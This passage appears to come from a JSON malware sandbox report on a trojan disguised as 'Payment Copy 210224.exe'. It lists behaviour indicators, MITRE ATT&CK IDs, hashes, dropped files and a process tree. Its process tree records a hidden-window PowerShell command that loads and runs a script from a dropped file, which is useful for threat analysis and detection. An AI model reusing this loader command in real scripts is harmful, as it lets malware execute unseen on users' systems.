\"00000000-00003176.00000002.72734.06140000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-369","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to redirect output to specified device/utility (Powershell command string)","description":"Found string \"Microsoft.PowerShell.Utility\\Out-File -FilePath $script:PSGetSettingsFilePath -Force `\" (Indicator: \"Out-File\"; Source: \"00000000-00003176.00000002.72734.06140000.00000004.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-373","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to set/modify configuration (Powershell command string)","description":"$53","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-395","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to multiple windows system processes","description":"Found strings \"svchost.exe,smss.exe,csrss.exe,wininit.exe,winlogon.exe\" (Source: \"00000000-00003176.00000000.68893.06140000.00000004.mdmp, 00000000-00003176.00000002.72734.06140000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":3,"id":"string-455","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Possibly uses a Windows Server utility","description":"\"RuntimeBroker.exe\" (Indicator: \"runtimebroker.exe\")","origin":"File/Memory","relevance":10,"id":"string-65","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"suspicious","category":"Network Related","name":"Contains ability to identify remote systems","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00003176.00000000.68893.08A00000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":1,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find and list the Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00003176)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00003176)","origin":"API Call","mitre_attack_id":"T1082","relevance":10,"id":"api-110","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found system commands related strings","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00003176.00000000.68893.08A00000.00000004.mdmp\")\n Found string \"# Ping and resolve the specified location\" (Indicator: \"ping\"; Source: \"00000000-00003176.00000002.72734.06140000.00000004.mdmp\")\n Found string \"# ping V2\" (Indicator: \"ping\"; Source: \"00000000-00003176.00000002.72734.06140000.00000004.mdmp\")\n Found string \"# ping V3\" (Indicator: \"ping\"; Source: \"00000000-00003176.00000002.72734.06140000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$54","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"name":"Persistence","details_count":1,"details":[{"detail":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Input file contains API references not part of its Import Address Table (IAT)"}],"sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Opens the MountPointManager (often used to detect additional infection locations)"}],"sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"}]},{"name":"Fingerprint","details_count":1,"details":[{"detail":"Queries kernel debugger information"}],"sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]}],"intel_graph":{"map":{"File:231c6f4feb657850e50fa28646d5aba8682ed88f0a12558c3bf1c4ab07f3aa06":{"type":"File","value":"231c6f4feb657850e50fa28646d5aba8682ed88f0a12558c3bf1c4ab07f3aa06"},"File:27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2":{"type":"File","value":"27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Found PowerShell process using window style 'hidden'"]},"filetype":"PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive, 5 sections","filetype_short":"PE32","mime_type":"application/x-dosexec"},"File:2bfea17947386b4068461f5b1894891e5abf6033b3ac28571f1d7d2b4007bc22":{"type":"File","value":"2bfea17947386b4068461f5b1894891e5abf6033b3ac28571f1d7d2b4007bc22"},"File:3e583de8bbaa81dcaaa3df713b2f2119598e4c4bb2d146127622e792c6f2d684":{"type":"File","value":"3e583de8bbaa81dcaaa3df713b2f2119598e4c4bb2d146127622e792c6f2d684"},"File:621652104f2e5104aa93990ca03888aefca8f3c5a039e65fe75a7a315e19f048":{"type":"File","value":"621652104f2e5104aa93990ca03888aefca8f3c5a039e65fe75a7a315e19f048"},"File:66bf222fbb49cd188e6c5a6e5638c45fcd363f3897c069b26c0f11ffb84aa283":{"type":"File","value":"66bf222fbb49cd188e6c5a6e5638c45fcd363f3897c069b26c0f11ffb84aa283"},"File:68d6d59243ca1895e9637c2ba4c7c792e440e202d24a02fd636072d0d000f14f":{"type":"File","value":"68d6d59243ca1895e9637c2ba4c7c792e440e202d24a02fd636072d0d000f14f"},"File:6988c6d4dd4881971896c2849a0b814230c80bec71f5f2cad478abf08ccb0a2a":{"type":"File","value":"6988c6d4dd4881971896c2849a0b814230c80bec71f5f2cad478abf08ccb0a2a"},"File:8ac0bc28e0de34db70e4c05777d7f6e5a4c5f6d750a1d992c084c7e9dfbdc781":{"type":"File","value":"8ac0bc28e0de34db70e4c05777d7f6e5a4c5f6d750a1d992c084c7e9dfbdc781"},"File:920cafdb4454a9ee1104df4c7bb822512c630ae62379264504287e2658667d7a":{"type":"File","value":"920cafdb4454a9ee1104df4c7bb822512c630ae62379264504287e2658667d7a"},"File:add4df6b42e3892ff227a4274b63d7fdfa1ba4ace4337dc8e98296e297276145":{"type":"File","value":"add4df6b42e3892ff227a4274b63d7fdfa1ba4ace4337dc8e98296e297276145"},"File:c2c88e4a32c734b0cb4ae507c1a9a1b417a2375079111fb1b35fab23aedd41d9":{"type":"File","value":"c2c88e4a32c734b0cb4ae507c1a9a1b417a2375079111fb1b35fab23aedd41d9","verdict":{"verdict":"likely_benign","verdict_source":"observed prevalence","reasons":["File found in known legitimate files database","File has very high prevalence"]},"filetype":"PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, 4 sections","filetype_short":"PE32","mime_type":"application/x-dosexec"},"File:e4de760d74b59f5c62f2ac945b4620de03315dbcd1fc7889db1dad4c34dc0017":{"type":"File","value":"e4de760d74b59f5c62f2ac945b4620de03315dbcd1fc7889db1dad4c34dc0017"},"File:ecb636b278261eade712e68ec7d805d20e802628248da872d3d0ada1432ffc11":{"type":"File","value":"ecb636b278261eade712e68ec7d805d20e802628248da872d3d0ada1432ffc11"}},"chains":[{"id":"1542741902736317004","root":"File:27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2","edges":[],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Found PowerShell process using window style 'hidden'"]}},{"id":"1542741923654038997","root":"File:27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2","to_key":"File:c2c88e4a32c734b0cb4ae507c1a9a1b417a2375079111fb1b35fab23aedd41d9"}],"verdict":{"verdict":"likely_benign","verdict_source":"observed prevalence","reasons":["File found in known legitimate files database","File has very high prevalence"]}},{"id":"sandbox_files","root":"File:27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2","edges":[{"edge_kind":"extracted","from_key":"File:27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2","to_key":"File:c2c88e4a32c734b0cb4ae507c1a9a1b417a2375079111fb1b35fab23aedd41d9"},{"edge_kind":"extracted","from_key":"File:27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2","to_key":"File:68d6d59243ca1895e9637c2ba4c7c792e440e202d24a02fd636072d0d000f14f"},{"edge_kind":"extracted","from_key":"File:27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2","to_key":"File:c2c88e4a32c734b0cb4ae507c1a9a1b417a2375079111fb1b35fab23aedd41d9"},{"edge_kind":"extracted","from_key":"File:27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2","to_key":"File:add4df6b42e3892ff227a4274b63d7fdfa1ba4ace4337dc8e98296e297276145"},{"edge_kind":"extracted","from_key":"File:27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2","to_key":"File:e4de760d74b59f5c62f2ac945b4620de03315dbcd1fc7889db1dad4c34dc0017"},{"edge_kind":"extracted","from_key":"File:27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2","to_key":"File:3e583de8bbaa81dcaaa3df713b2f2119598e4c4bb2d146127622e792c6f2d684"},{"edge_kind":"extracted","from_key":"File:27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2","to_key":"File:621652104f2e5104aa93990ca03888aefca8f3c5a039e65fe75a7a315e19f048"},{"edge_kind":"extracted","from_key":"File:27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2","to_key":"File:2bfea17947386b4068461f5b1894891e5abf6033b3ac28571f1d7d2b4007bc22"},{"edge_kind":"extracted","from_key":"File:27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2","to_key":"File:c2c88e4a32c734b0cb4ae507c1a9a1b417a2375079111fb1b35fab23aedd41d9"},{"edge_kind":"extracted","from_key":"File:27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2","to_key":"File:ecb636b278261eade712e68ec7d805d20e802628248da872d3d0ada1432ffc11"},{"edge_kind":"extracted","from_key":"File:27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2","to_key":"File:920cafdb4454a9ee1104df4c7bb822512c630ae62379264504287e2658667d7a"},{"edge_kind":"extracted","from_key":"File:27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2","to_key":"File:c2c88e4a32c734b0cb4ae507c1a9a1b417a2375079111fb1b35fab23aedd41d9"},{"edge_kind":"extracted","from_key":"File:27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2","to_key":"File:66bf222fbb49cd188e6c5a6e5638c45fcd363f3897c069b26c0f11ffb84aa283"},{"edge_kind":"extracted","from_key":"File:27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2","to_key":"File:8ac0bc28e0de34db70e4c05777d7f6e5a4c5f6d750a1d992c084c7e9dfbdc781"},{"edge_kind":"extracted","from_key":"File:27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2","to_key":"File:6988c6d4dd4881971896c2849a0b814230c80bec71f5f2cad478abf08ccb0a2a"},{"edge_kind":"extracted","from_key":"File:27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2","to_key":"File:231c6f4feb657850e50fa28646d5aba8682ed88f0a12558c3bf1c4ab07f3aa06"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":4,"spawned_processes_count":4,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":11,"imported_dlls_count":166,"dropped_files_count":0,"extracted_files_count":16,"files_written_count":57,"files_deleted_count":0,"registry_keys_created_count":60,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":60,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["windows-server-utility"],"sample_flags":["Multi-Process","Extracted Files"],"sandbox_reports":[{"id":"6a85130cd8470415e40ce212","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"suspicious","threat_score":78,"malware_family":"Trojan.Generic","submit_name":"27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2","analysis_start_time":"2026-08-19T02:21:01+00:00","indicators_count":{"informative":169,"suspicious":27,"malicious":0},"tags":["Multi-Process","Extracted Files"],"is_in_unified_schema":true},{"id":"65d6f865888d581f5902adca","environment_id":110,"environment_description":"Windows 7 32 bit (HWP Support)","state":"SUCCESS","verdict":"malicious","threat_score":100,"submit_name":"Payment Copy 210224.exe","analysis_start_time":"2024-02-22T07:31:49+00:00","indicators_count":{"informative":146,"suspicious":25,"malicious":2},"tags":["Multi-Process","Extracted Files"],"is_in_unified_schema":true},{"id":"65d6f8411fc9da0dcc00738f","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"submit_name":"Payment Copy 210224.exe","analysis_start_time":"2024-02-22T07:31:13+00:00","indicators_count":{"informative":184,"suspicious":40,"malicious":2},"tags":["Multi-Process","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":null,"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}],"processes":[{"pid":5812,"ppid":0,"name":"27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2.exe","command_line":"","sha256":"27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2","normalized_path":"C:\\27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2.exe","uid":"00000000-00005812","icon":"$55"},{"pid":6024,"ppid":5812,"name":"ns278E.tmp","command_line":"powershell.exe -windowstyle hidden $tools7 = cat '%LOCALAPPDATA%\\fcp\\tartuffery\\appelinstans\\Insected\\Bnskraft\\Kenotafium\\Usquabaes\\Androidal.Sub' ; powershell.exe \"$tools7\"powershell.exe -windowstyle hidden $tools7 = cat '%LOCALAPPDATA%\\fcp\\tartuffery\\appelinstans\\Insected\\Bnskraft\\Kenotafium\\Usquabaes\\Androidal.Sub' ; powershell.exe \"$tools7\"","sha256":"21853ac3a250ca33754503059419fc5e03e9c4a48a46b19cff7a511f72d46632","normalized_path":"%TEMP%\\nsn1F4.tmp\\ns278E.tmp","parent_uid":"00000000-00005812","uid":"00000000-00006024"},{"pid":5976,"ppid":6024,"name":"powershell.exe","command_line":"-windowstyle hidden $tools7 = cat '%LOCALAPPDATA%\\fcp\\tartuffery\\appelinstans\\Insected\\Bnskraft\\Kenotafium\\Usquabaes\\Androidal.Sub' ; powershell.exe \"$tools7\"powershell.exe -windowstyle hidden $tools7 = cat '%LOCALAPPDATA%\\fcp\\tartuffery\\appelinstans\\Insected\\Bnskraft\\Kenotafium\\Usquabaes\\Androidal.Sub' ; powershell.exe \"$tools7\"","sha256":"70ba57fb0bf2f34b86426d21559f5f6d05c1268193904de8e959d7b06ce964ce","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00006024","uid":"00000000-00005976"},{"pid":3820,"ppid":5976,"name":"powershell.exe","command_line":"$56","sha256":"70ba57fb0bf2f34b86426d21559f5f6d05c1268193904de8e959d7b06ce964ce","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005976","uid":"00000000-00003820"}],"all_imported_dlls":["devobj.dll","propsys.dll","oleacc.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","Microsoft.WSMan.Management.ni.dll","System.Data.ni.dll","ntdll.dll","cscapi.dll","Microsoft.PowerShell.Commands.Management.ni.dll","Culture.dll","mscorrc.dll","advapi32.dll","psapi.dll","System.Core.ni.dll","netutils.dll","dwmapi.dll","mscorwks.dll","System.Transactions.ni.dll","msctf.dll","linkinfo.dll","System.Management.Automation.dll","System.Data.dll","cryptsp.dll","comctl32.dll","ole32.dll","apphelp.dll","System.Xml.ni.dll","clbcatq.dll","secur32.dll","fltLib.dll","version.dll","Microsoft.WSMan.Runtime.dll","crypt32.dll","msasn1.dll","KernelBase.dll","VxSSL32.dll","shdocvw.dll","mscoreei.dll","mscorjit.dll","diasymreader.dll","shlwapi.dll","rpcrt4.dll","rpcss.dll","System.ni.dll","System.Management.Automation.ni.dll","System.DirectoryServices.ni.dll","sspicli.dll","lpk.dll","profapi.dll","shfolder.dll","msvcrt.dll","shell32.dll","cfgmgr32.dll","nsi.dll","mscoree.dll","slc.dll","msvcr80.dll","Microsoft.PowerShell.Commands.Diagnostics.ni.dll","uxtheme.dll","oleaccrc.dll","nsExec.dll","rsaenh.dll","System.Transactions.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","Microsoft.PowerShell.Security.ni.dll","System.Management.ni.dll","user32.dll","usp10.dll","sechost.dll","setupapi.dll","ws2_32.dll","Wldap32.dll","riched20.dll","atl.dll","kernel32.dll","imm32.dll","oleaut32.dll","api-ms-win-core-synch-l1-2-0.dll","mscorlib.ni.dll","System.Configuration.Install.ni.dll","cryptbase.dll","ntmarta.dll","ntshrui.dll","srvcli.dll","tzres.dll","gdi32.dll","userenv.dll","api-ms-win-crt-environment-l1-1-0.dll","api-ms-win-crt-heap-l1-1-0.dll","api-ms-win-crt-stdio-l1-1-0.dll","api-ms-win-core-xstate-l2-1-0.dll","api-ms-win-core-processthreads-l1-1-1.dll","api-ms-win-crt-locale-l1-1-0.dll","api-ms-win-crt-time-l1-1-0.dll","api-ms-win-crt-math-l1-1-0.dll","System.Configuration.ni.dll","Microsoft.Management.Infrastructure.ni.dll","api-ms-win-core-localization-l1-2-0.dll","api-ms-win-crt-utility-l1-1-0.dll","vcruntime140.dll","wshext.dll","api-ms-win-crt-string-l1-1-0.dll","clr.dll","ucrtbase_clr0400.dll","wintrust.dll","msvcp140.dll","ucrtbase.dll","pwrshsip.dll","clrjit.dll","api-ms-win-crt-runtime-l1-1-0.dll","api-ms-win-core-timezone-l1-1-0.dll","vcruntime140_clr0400.dll","msisip.dll","api-ms-win-core-file-l2-1-0.dll","System.Numerics.ni.dll","Microsoft.CSharp.ni.dll","RpcRtRemote.dll","nlssorting.dll","api-ms-win-core-file-l1-2-0.dll","api-ms-win-crt-convert-l1-1-0.dll","api-ms-win-crt-filesystem-l1-1-0.dll","System.Management.dll","coml2.dll","combase.dll","wow64win.dll","bcrypt.dll","CoreMessaging.dll","wow64cpu.dll","msls31.dll","cldapi.dll","System.DirectoryServices.dll","MpOAV.dll","iertutil.dll","msvcp_win.dll","SHCore.dll","Microsoft.PowerShell.ConsoleHost.dll","OpcServices.dll","cryptnet.dll","aepic.dll","TextInputFramework.dll","xmllite.dll","System.Configuration.Install.dll","win32u.dll","kernel.appcore.dll","gpapi.dll","wldp.dll","winnsi.dll","gdi32full.dll","CoreUIComponents.dll","WinTypes.dll","sppc.dll","AppxSip.dll","System.Windows.Forms.dll","windows.storage.dll","wow64.dll","imagehlp.dll","System.ServiceProcess.dll","powrprof.dll","amsi.dll","Microsoft.PowerShell.Security.dll","IPHLPAPI.DLL","bcryptprimitives.dll","MpClient.dll","urlmon.dll","Microsoft.PowerShell.Commands.Management.dll","System.Numerics.dll"]},"file_activity":{"dropped_files":[],"extracted_files":[{"name":"$$PLUGINSDIR/nsExec.dll","sha256":"c2c88e4a32c734b0cb4ae507c1a9a1b417a2375079111fb1b35fab23aedd41d9","verdict":"likely_benign","sources":[{"report_type":"qsp","report_id":""}]},{"name":"Androidal.Sub","sha256":"68d6d59243ca1895e9637c2ba4c7c792e440e202d24a02fd636072d0d000f14f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"name":"nsCCE1.tmp","sha256":"c2c88e4a32c734b0cb4ae507c1a9a1b417a2375079111fb1b35fab23aedd41d9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"}]},{"name":"03CIMQRCLK6G48CIZLE4.temp","sha256":"add4df6b42e3892ff227a4274b63d7fdfa1ba4ace4337dc8e98296e297276145","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"}]},{"name":"Manzanilla.lnk","sha256":"e4de760d74b59f5c62f2ac945b4620de03315dbcd1fc7889db1dad4c34dc0017","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"name":"Fremlejet.Kle","sha256":"3e583de8bbaa81dcaaa3df713b2f2119598e4c4bb2d146127622e792c6f2d684","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"name":"Rekylgevrets119.pah","sha256":"621652104f2e5104aa93990ca03888aefca8f3c5a039e65fe75a7a315e19f048","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"name":"cytoglobin.txt","sha256":"2bfea17947386b4068461f5b1894891e5abf6033b3ac28571f1d7d2b4007bc22","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"name":"nsExec.dll","sha256":"c2c88e4a32c734b0cb4ae507c1a9a1b417a2375079111fb1b35fab23aedd41d9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"name":"DISMHOST.EXE.6A855315.bin","sha256":"ecb636b278261eade712e68ec7d805d20e802628248da872d3d0ada1432ffc11","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"name":"ModuleAnalysisCache","sha256":"920cafdb4454a9ee1104df4c7bb822512c630ae62379264504287e2658667d7a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"name":"ns278E.tmp","sha256":"c2c88e4a32c734b0cb4ae507c1a9a1b417a2375079111fb1b35fab23aedd41d9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"name":"dism.log","sha256":"66bf222fbb49cd188e6c5a6e5638c45fcd363f3897c069b26c0f11ffb84aa283","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"name":"StartupProfileData-NonInteractive","sha256":"8ac0bc28e0de34db70e4c05777d7f6e5a4c5f6d750a1d992c084c7e9dfbdc781","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"name":"Privatist.ini","sha256":"6988c6d4dd4881971896c2849a0b814230c80bec71f5f2cad478abf08ccb0a2a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"name":"powershell.exe.log","sha256":"231c6f4feb657850e50fa28646d5aba8682ed88f0a12558c3bf1c4ab07f3aa06","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]}],"files_written":[{"path":"\\FileSystem\\Filters\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%TEMP%\\nsq9230.tmp","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"}]},{"path":"%TEMP%\\SPORTSSTVNET\\SINISTROCEREBRAL.INI","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%WINDIR%\\Resources\\0409\\Privatist.ini","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%USERPROFILE%\\AIRMAN156\\NONPLATED.INI","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%WINDIR%\\TWINFOLD\\FINIS.INI","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Manzanilla.lnk","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%TEMP%\\nsl97DC.tmp","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%ALLUSERSPROFILE%\\KAARDENS\\PROFITABELT.INI","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%USERPROFILE%\\ordrepotentialers","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%USERPROFILE%\\ordrepotentialers\\Underrooted","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%COMMONPROGRAMFILES%\\precautious.ini","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"path":"C:\\ProgramData","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbo